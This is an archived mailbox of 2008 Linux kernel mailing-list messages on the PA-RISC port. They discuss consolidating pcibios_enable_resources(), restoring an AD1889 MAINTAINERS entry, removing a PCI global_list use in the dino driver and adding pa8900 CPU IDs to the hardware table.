X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 4/4] RFC: PCI: consolidate several
	pcibios_enable_resources() implementations
Date: Wed, 20 Feb 2008 07:21:43 +1100
Lines: 18
Approved: news@gmane.org
Message-ID: <1203452503.18618.8.camel@pasglop>
References: <20080219043952.845136014@ldl.fc.hp.com>
	 <20080219044307.878416912@ldl.fc.hp.com> <1203402667.6740.94.camel@pasglop>
	 <200802190911.56901.bjorn.helgaas@hp.com>
Reply-To: benh@kernel.crashing.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1203452613 16895 80.91.229.12 (19 Feb 2008 20:23:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2008 20:23:33 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 21:23:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRZ0K-0001SR-QO
	for glpp-linux-parisc@gmane.org; Tue, 19 Feb 2008 21:23:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752527AbYBSUXV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2008 15:23:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752236AbYBSUXV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Feb 2008 15:23:21 -0500
Original-Received: from gate.crashing.org ([63.228.1.57]:50442 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752062AbYBSUXU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2008 15:23:20 -0500
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id m1JKLwo8032232;
	Tue, 19 Feb 2008 14:22:00 -0600
In-Reply-To: <200802190911.56901.bjorn.helgaas@hp.com>
X-Mailer: Evolution 2.12.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:133 gmane.linux.ports.arm.kernel:38644 gmane.linux.ports.ppc64.devel:36041
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/133>


> > That is, whatever the arch code decides to use to decide whether
> > resources are assigned by firmware or by the first pass assignment code
> > or not and collide or not, once that phase is finished (which is the
> > case when calling pcibios_enable_device(), having the resource in the
> > resource-tree or not is, I believe, the proper way to test whether it's
> > a useable resource.
> 
> So should x86 adopt that collision check?  I don't hear anything about
> actual architecture differences that are behind this implementation
> difference.

Well, on powerpc we do allow under some circumstances a 0 start value
in BARs, which is why I wanted to use a different check.

Ben.



From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 0/4] RFC: PCI: consolidate several
	pcibios_enable_resources() implementations
Date: Tue, 19 Feb 2008 23:24:55 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20080220062455.GB6315@colo.lackof.org>
References: <20080219043952.845136014@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1203488727 22843 80.91.229.12 (20 Feb 2008 06:25:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Feb 2008 06:25:27 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 20 07:25:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRiOp-0001LU-2U
	for glpp-linux-parisc@gmane.org; Wed, 20 Feb 2008 07:25:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752436AbYBTGZP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Feb 2008 01:25:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754351AbYBTGZO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 20 Feb 2008 01:25:14 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:58019 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752436AbYBTGZN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Feb 2008 01:25:13 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4201C4F80F1;
	Tue, 19 Feb 2008 23:25:11 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04762-09; Tue, 19 Feb 2008 23:24:55 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DACA6300077; Tue, 19 Feb 2008 23:24:55 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20080219043952.845136014@ldl.fc.hp.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:134 gmane.linux.ports.arm.kernel:38655 gmane.linux.ports.ppc64.devel:36069
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/134>

On Mon, Feb 18, 2008 at 09:39:52PM -0700, Bjorn Helgaas wrote:
> There are many implementations of pcibios_enable_resources() that differ
> in minor ways that look more like bugs than architectural differences.
> This patch series consolidates most of them to use the x86 version.
> 
> This series is for discussion only at this point.  I'm interested in
> feedback about whether any of the differences are "real" and need to
> be preserved.
> 
> ARM and PA-RISC, in particular, have interesting differences:
>     - ARM always enables bridge devices, which no other arch does
>     - PA-RISC always turns on SERR and PARITY, which no other arch does
> 
> Should other arches do the same thing, or are these somehow related to
> ARM and PA-RISC architecture?

My impression was most x86 BIOS's did NOT turn on SERR/PERR when I added
that code to parisc-linux port (2000 or 2001 so) . HPUX was turning on
SERR/PERR and so I was comfortable the HW was stable and it not crash
under normal use unless something was really broken.

There is certainly nothing architectural specific about SERR/PERR.
I felt (at the time) this is more of a case of "if it's not reported to the
user, we won't get blamed for it not working well."

hth,
grant

From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: AD1889 MAINTAINERS entry
Date: Wed, 20 Feb 2008 21:05:56 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <7d01f9f00802201205o4543dbe5p70ac8ad93595ee50@mail.gmail.com>
References: <7d01f9f00712061302p7851016bj16bf82d79313f95f@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; 
	boundary="----=_Part_4360_16836045.1203537957034"
X-Trace: ger.gmane.org 1203537995 7389 80.91.229.12 (20 Feb 2008 20:06:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Feb 2008 20:06:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 20 21:06:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRvDS-0000m1-L1
	for glpp-linux-parisc@gmane.org; Wed, 20 Feb 2008 21:06:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758247AbYBTUF7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Feb 2008 15:05:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757531AbYBTUF7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 20 Feb 2008 15:05:59 -0500
Original-Received: from hs-out-0708.google.com ([64.233.178.242]:56750 "EHLO
	hs-out-0708.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759580AbYBTUF6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Feb 2008 15:05:58 -0500
Original-Received: by hs-out-0708.google.com with SMTP id 54so2433203hsz.5
        for <linux-parisc@vger.kernel.org>; Wed, 20 Feb 2008 12:05:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:references:x-google-sender-auth;
        bh=zxV5s3iz7APpuxUY2JWJ30gvZDQSswiCIoO+R9KqwsQ=;
        b=V9a7wXwulIb9ld9HxalmLPLJhK1vsqp9f5uMjYZgUkm2oM1FMnnOQfx/mDuSM+gShrzScSYSO6SbF2J10wQ1NOVoHI7nIcCF+x36w0DAlx/jCj6eKQvlXsnnM73cvUtBDAxkAVuqS2p3hNK4jsMXdRPmE60l5HXm2ip0ElYNHe8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:references:x-google-sender-auth;
        b=b6+FnVwSAOLAVo3BPHk0YyOP5bijIPB72fE44Ulfb7ITQKxcV++klCdeKaEAkPW/kydRCs8Twe/Wha6C6+wwVKutUyZsaxZSJAi22yIAkCuh4T37YdqBc2m7jgndO24vijGLcJ2kZK7gj6f9FuS1FRxEXPx7ZhcwNLiXLQv65Gw=
Original-Received: by 10.100.178.13 with SMTP id a13mr18004940anf.63.1203537957038;
        Wed, 20 Feb 2008 12:05:57 -0800 (PST)
Original-Received: by 10.100.242.12 with HTTP; Wed, 20 Feb 2008 12:05:56 -0800 (PST)
In-Reply-To: <7d01f9f00712061302p7851016bj16bf82d79313f95f@mail.gmail.com>
X-Google-Sender-Auth: 096d916250fb111a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:135
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/135>

------=_Part_4360_16836045.1203537957034
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi all,

Resending this patch as I think it's been lost at some point...

HTH

T-Bone

---------- Forwarded message ----------
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Date: Thu, Dec 6, 2007 at 10:02 PM
Subject: AD1889 MAINTAINERS entry
To: Kyle McMartin <kyle@parisc-linux.org>


Hi Kyle,

 Bunk deleted our driver's entry. Here's a patch that fixes that and
 updates the mailing-list address. It's hand-diffed against MAINTAINERS
 fetched from HEAD in your git tree on git.k.o

 Cheers

 ----------------

 Restore improperly deleted (in
 b5d425c97f7d4e92151167b01ca038e7853c6b37) AD1889 SOUND DRIVER entry

 Signed-off-by: Thibaut VARENE <varenet@parisc-linux.org>

------=_Part_4360_16836045.1203537957034
Content-Type: text/x-patch; name=AD1889-MAINTAINERS.patch
Content-Transfer-Encoding: base64
X-Attachment-Id: f_f9vry3l00
Content-Disposition: attachment; filename=AD1889-MAINTAINERS.patch

ZGlmZiAtTnJ1IGEvTUFJTlRBSU5FUlMgYi9NQUlOVEFJTkVSUwotLS0gYS9NQUlOVEFJTkVSUwky
MDA3LTEyLTA2IDIxOjU3OjA1LjAwMDAwMDAwMCArMDEwMAorKysgYi9NQUlOVEFJTkVSUwkyMDA3
LTEyLTA2IDIxOjU4OjI4LjAwMDAwMDAwMCArMDEwMApAQCAtMjYxLDYgKzI2MSwxNSBAQAogVzoJ
aHR0cDovL2FjcGkuc291cmNlZm9yZ2UubmV0LwogUzoJU3VwcG9ydGVkCiAKK0FEMTg4OSBTT1VO
RCBEUklWRVIKK1A6ICAgICBLeWxlIE1jTWFydGluCitNOiAgICAga3lsZUBwYXJpc2MtbGludXgu
b3JnCitQOiAgICAgVGhpYmF1dCBWYXJlbmUKK006ICAgICBULUJvbmVAcGFyaXNjLWxpbnV4Lm9y
ZworVzogICAgIGh0dHA6Ly93aWtpLnBhcmlzYy1saW51eC5vcmcvQUQxODg5CitMOiAgICAgbGlu
dXgtcGFyaXNjQHZnZXIua2VybmVsLm9yZworUzogICAgIE1haW50YWluZWQKKwogQURNMTAyNSBI
QVJEV0FSRSBNT05JVE9SIERSSVZFUgogUDoJSmVhbiBEZWx2YXJlCiBNOglraGFsaUBsaW51eC1m
ci5vcmcK
------=_Part_4360_16836045.1203537957034--

From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] pci: remove parisc consumer of the pci global_list
Date: Wed, 20 Feb 2008 15:14:24 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <1203542065.3109.42.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1203542132 23265 80.91.229.12 (20 Feb 2008 21:15:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Feb 2008 21:15:32 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Greg KH <greg@kroah.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 20 22:15:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRwI6-00011b-4X
	for glpp-linux-parisc@gmane.org; Wed, 20 Feb 2008 22:15:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760661AbYBTVOk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Feb 2008 16:14:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758524AbYBTVOj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 20 Feb 2008 16:14:39 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:49475 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1759420AbYBTVOc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Feb 2008 16:14:32 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id D9DFA83EE;
	Wed, 20 Feb 2008 15:14:29 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id u4nHIKzeqj2K; Wed, 20 Feb 2008 15:14:28 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id AD57881D2;
	Wed, 20 Feb 2008 15:14:25 -0600 (CST)
X-Mailer: Evolution 2.12.3 (2.12.3-1.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:136 gmane.linux.kernel:643434
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/136>

The patch  pci-remove-global-list-of-pci-devices.patch misses the parisc
dino use of this.  However, it's a simple removal job.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

---

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 03c763c..d9c6322 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -496,7 +496,6 @@ dino_card_setup(struct pci_bus *bus, void __iomem *base_addr)
 		list_for_each_safe(ln, tmp_ln, &bus->devices) {
 			struct pci_dev *dev = pci_dev_b(ln);
 
-			list_del(&dev->global_list);
 			list_del(&dev->bus_list);
 		}
 			



From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] add pa8900 CPUs to hardware inventory
Date: Wed, 20 Feb 2008 15:53:02 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1203544382.3109.46.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1203544423 31448 80.91.229.12 (20 Feb 2008 21:53:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Feb 2008 21:53:43 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 20 22:54:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRwsm-0006SA-9g
	for glpp-linux-parisc@gmane.org; Wed, 20 Feb 2008 22:53:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757490AbYBTVxI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Feb 2008 16:53:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757499AbYBTVxI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 20 Feb 2008 16:53:08 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:36022 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757490AbYBTVxG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Feb 2008 16:53:06 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 44D0780A6
	for <linux-parisc@vger.kernel.org>; Wed, 20 Feb 2008 15:53:03 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id E-3qBFkW-DTg for <linux-parisc@vger.kernel.org>;
	Wed, 20 Feb 2008 15:53:02 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id B3187800B
	for <linux-parisc@vger.kernel.org>; Wed, 20 Feb 2008 15:53:02 -0600 (CST)
X-Mailer: Evolution 2.12.3 (2.12.3-1.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:137
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/137>

This patch adds the known pa8900 CPUs to the inventory list and removes
the Crestone Peak one which apparently never escaped into the wild.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

---

diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index 18ba4cb..1a7c30d 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -274,7 +274,17 @@ static struct hp_hardware hp_hardware_list[] __initdata = {
 	{HPHW_NPROC,0x887,0x4,0x91,"Storm Peak Slow"},
 	{HPHW_NPROC,0x888,0x4,0x91,"Storm Peak Fast DC-"},
 	{HPHW_NPROC,0x889,0x4,0x91,"Storm Peak Fast"},
-	{HPHW_NPROC,0x88A,0x4,0x91,"Crestone Peak"},
+	{HPHW_NPROC,0x88C,0x4,0x91,"Orca Mako+"},
+	{HPHW_NPROC,0x88D,0x4,0x91,"Rainier/Medel Mako+ Slow"},
+	{HPHW_NPROC,0x88E,0x4,0x91,"Rainier/Medel Mako+ Fast"},
+	{HPHW_NPROC,0x894,0x4,0x91,"Mt. Hamilton Fast Mako+"},
+	{HPHW_NPROC,0x895,0x4,0x91,"Storm Peak Slow Mako+"},
+	{HPHW_NPROC,0x896,0x4,0x91,"Storm Peak Fast Mako+"},
+	{HPHW_NPROC,0x897,0x4,0x91,"Storm Peak DC- Slow Mako+"},
+	{HPHW_NPROC,0x898,0x4,0x91,"Storm Peak DC- Fast Mako+"},
+	{HPHW_NPROC,0x899,0x4,0x91,"Mt. Hamilton Slow Mako+"},
+	{HPHW_NPROC,0x89B,0x4,0x91,"Crestone Peak Mako+ Slow"},
+	{HPHW_NPROC,0x89C,0x4,0x91,"Crestone Peak Mako+ Fast"},
 	{HPHW_A_DIRECT, 0x004, 0x0000D, 0x00, "Arrakis MUX"}, 
 	{HPHW_A_DIRECT, 0x005, 0x0000D, 0x00, "Dyun Kiuh MUX"}, 
 	{HPHW_A_DIRECT, 0x006, 0x0000D, 0x00, "Baat Kiuh AP/MUX (40299B)"}, 



From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] pci: remove parisc consumer of the pci global_list
Date: Wed, 20 Feb 2008 14:22:48 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20080220222248.GA15308@kroah.com>
References: <1203542065.3109.42.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1203546379 6065 80.91.229.12 (20 Feb 2008 22:26:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Feb 2008 22:26:19 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 20 23:26:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRxOV-0001zf-Ue
	for glpp-linux-parisc@gmane.org; Wed, 20 Feb 2008 23:26:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758304AbYBTWZy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Feb 2008 17:25:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758294AbYBTWZy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 20 Feb 2008 17:25:54 -0500
Original-Received: from pentafluge.infradead.org ([213.146.154.40]:59426 "EHLO
	pentafluge.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758304AbYBTWZv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Feb 2008 17:25:51 -0500
Original-Received: from dsl093-040-174.pdx1.dsl.speakeasy.net ([66.93.40.174] helo=localhost)
	by pentafluge.infradead.org with esmtpsa (Exim 4.68 #1 (Red Hat Linux))
	id 1JRxNt-0003Ul-KI; Wed, 20 Feb 2008 22:25:50 +0000
Content-Disposition: inline
In-Reply-To: <1203542065.3109.42.camel@localhost.localdomain>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:138 gmane.linux.kernel:643486
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/138>

On Wed, Feb 20, 2008 at 03:14:24PM -0600, James Bottomley wrote:
> The patch  pci-remove-global-list-of-pci-devices.patch misses the parisc
> dino use of this.  However, it's a simple removal job.
> 
> Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

Ah, sorry about that, I'll add that to my tree in the correct order so
we don't get bisect problems.

thanks,

greg k-h

From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <gregkh@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: patch pci-remove-parisc-consumer-of-the-pci-global_list.patch added to gregkh-2.6 tree
Date: Wed, 20 Feb 2008 14:25:02 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <12035463024141@kroah.org>
References: <1203542065.3109.42.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1203546468 6371 80.91.229.12 (20 Feb 2008 22:27:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Feb 2008 22:27:48 +0000 (UTC)
To: James.Bottomley@HansenPartnership.com, greg@kroah.com,
	gregkh@suse.de, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 20 23:28:09 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRxQ0-0002Y3-NC
	for glpp-linux-parisc@gmane.org; Wed, 20 Feb 2008 23:28:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753011AbYBTW13 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Feb 2008 17:27:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750961AbYBTW13
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 20 Feb 2008 17:27:29 -0500
Original-Received: from ns.suse.de ([195.135.220.2]:33414 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751442AbYBTW11 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Feb 2008 17:27:27 -0500
Original-Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 950AC3171A;
	Wed, 20 Feb 2008 23:27:26 +0100 (CET)
In-Reply-To: <1203542065.3109.42.camel@localhost.localdomain>
